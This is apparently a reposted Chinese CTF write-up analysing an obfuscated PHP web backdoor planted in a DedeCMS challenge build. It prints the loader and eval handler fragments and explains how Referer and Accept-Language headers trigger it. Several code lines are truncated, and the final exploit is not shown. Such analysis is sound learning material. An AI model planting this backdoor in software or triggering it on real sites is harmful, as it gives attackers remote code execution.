欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

2019 神盾杯 final Writeup(一)

来源:本站整理 作者:佚名 时间:2019-07-09 TAG: 我要投稿

队友去参加了2019神盾杯上海市网络安全竞赛,线下有4道web题,就跟队友要来了源码进行了一波分析,由于题目较多,分为2篇撰写,本篇先写dedecms和另一个出题人手写的cms。
web1
预置简单后门查杀
打开源码发现是dedecms,使用主流webshell查杀工具得到如下结果:



由于静态分析具有较高的误报率,所以我先选择了diff一下:

发现后门文件为include/guess.class.php,事实证明还是D盾nb~
内置混淆后门
我们先去查看文件:include/guess.class.php。
发现明显后门:
W$d")W;@sessionW_destrWoy();}}}}';
$Y='pWWosW($p,$h)===0)W{$s[$i]="";W$pW=$ss(W$p,3);W}if(arrayW_key_exWists(W$i,$s))W{W';
$t='$m);if($q&W&W$m){@sessioWn_stWart();W$s=W&$_SESSIOWN;$ss="substrW";W$sl="stWrtoloW';
$X=str_replace('W','',$R.$W.$F.$a.$s.$t.$G.$I.$Y.$p.$N.$n.$A);
$w=$k('',$X);$w();
?>
定位到最后一句:
$w=$k('',$X);$w();
发现$k为create_function,那么$X的值就至关重要,我们可以得到其值为:
$d");
@session_destroy();
}
}
}
}
看到恶意代码位置:
if($e){
$k='3aae0208';
ob_start();
@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),substr($s[$i],0,$e))),$k)));
$o=ob_get_contents();
ob_end_clean();
$d=base64_encode(x(gzcompress($o),$k));
print("$d");
@session_destroy();
}
关键参数为$e和$s,我们跟踪这两个值,发现e为$s[$i]中$f的位置:
$e=strpos($s[$i],$f);
而$s[$i]与$p有关,我们继续跟进$p,$s,$i的赋值:
for($z=1;$z
容易发现$p的值与$m有关。而$i与$m也与$m有关:
$s=&$_SESSION;
$i=$m[1][0].$m[1][1];
那么$m与HTTP_ACCEPT_LANGUAGE和如下正则有关:
$ra=@$r["HTTP_ACCEPT_LANGUAGE"];
....
preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);
简单测试:

发现m[2]的值由q=0.几控制,而m[1]与每组首写字母有关。
回到如下拼接:
for($z=1;$z
剩下只要控制$q的值即可:
$rr=@$r["HTTP_REFERER"];
$u=parse_url($rr);
parse_str($u["query"],$q);
$q=array_values($q);
我们注意到$q与HTTP_REFERER的参数有关,我们测试一下:

那么我们可以通过控制数组p的值,和数组$m的值,来控制$p的值,例如:
// $rr=@$r["HTTP_REFERER"];
$rr = "https://skysec.top/?exp=skycool";
// $ra=@$r["HTTP_ACCEPT_LANGUAGE"];
$ra = "zh-CN,zh;q=0.0,en;q=0.1";
那么此时p的值为skycool。
紧接着是过滤:
    if(strpos($p,$h)===0){
    $s[$i]="";
        $p=substr($p,3);
    }
那么我们跟踪$h,发现为salt:
$i=$m[1][0].$m[1][1];
$h=strtolower(substr(md5($i.$kh),0,3));
所以我们很容易预测$h的值,只需要在我们的exp前拼接上$h的值即可。
那么现在只剩最后的exp,回到最开始的核心代码:
$s[$i].=$p;
$e=strpos($s[$i],$f);
@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),substr($s[$i],0,$e))),$k)));
那么可以通过$p控制`$s[$i]`的值,同时为了完全截取,我们可以类似如下构造exp:
$exp = $h.$payload.$f;
这样即可完全截取到我们的$payload。
然后是加密函数x:
function x($t,$k){
$c=strlen($k);
$l=strlen($t);
$o="";
for($i=0;$i
容易发现这是xor加密,可以用来加密也可用来解密,直接用即可。
那么编写exp如下:

可以成功执行。
sql注入
通过diff可以发现代码注释了一段内容:

但这实际没有作用,是用来去除Power by dedecms的。但是另一处修改直接导致了sql注入

[1] [2]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载